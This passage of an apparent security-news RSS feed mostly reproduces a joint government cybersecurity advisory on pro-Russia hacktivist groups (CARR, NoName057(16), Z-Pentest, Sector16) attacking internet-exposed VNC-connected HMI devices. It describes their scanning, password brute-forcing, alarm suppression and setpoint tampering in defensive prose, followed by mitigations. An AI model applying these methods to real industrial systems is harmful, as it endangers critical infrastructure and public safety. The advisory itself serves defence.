The first season ended after Sugar rescued Olivia Siegel and discovered that Henry, another member of his alien group, had information about Djen’s disappearance. Sugar chose to remain on Earth after the other Polyglots prepared to leave, setting up his continuing search in Season 2.



“Sugar” Season 2, Episode 7 streams July 31 on Apple TV. What do you think Sugar will do when he faces Vega again? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Forget expensive sleepbuds. Buy this pillow instead]]></title>
<description><![CDATA[Tech companies love to sell us expensive gadgets to solve all of life's little problems. Sleepbuds sold by the likes of Anker and Ozlo are a good example. These miniature marvels of engineering sit flush in the ear, and allow side-sleepers to doze off listening to podcasts, audiobooks, music, or ...]]></description>
<link>https://tsecurity.de/de/3693390/it-nachrichten/forget-expensive-sleepbuds-buy-this-pillow-instead/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693390/it-nachrichten/forget-expensive-sleepbuds-buy-this-pillow-instead/</guid>
<pubDate>Sat, 25 Jul 2026 09:25:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tech companies love to sell us expensive gadgets to solve all of life's little problems. Sleepbuds sold by the likes of Anker and Ozlo are a good example. These miniature marvels of engineering sit flush in the ear, and allow side-sleepers to doze off listening to podcasts, audiobooks, music, or white noise without annoying their […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
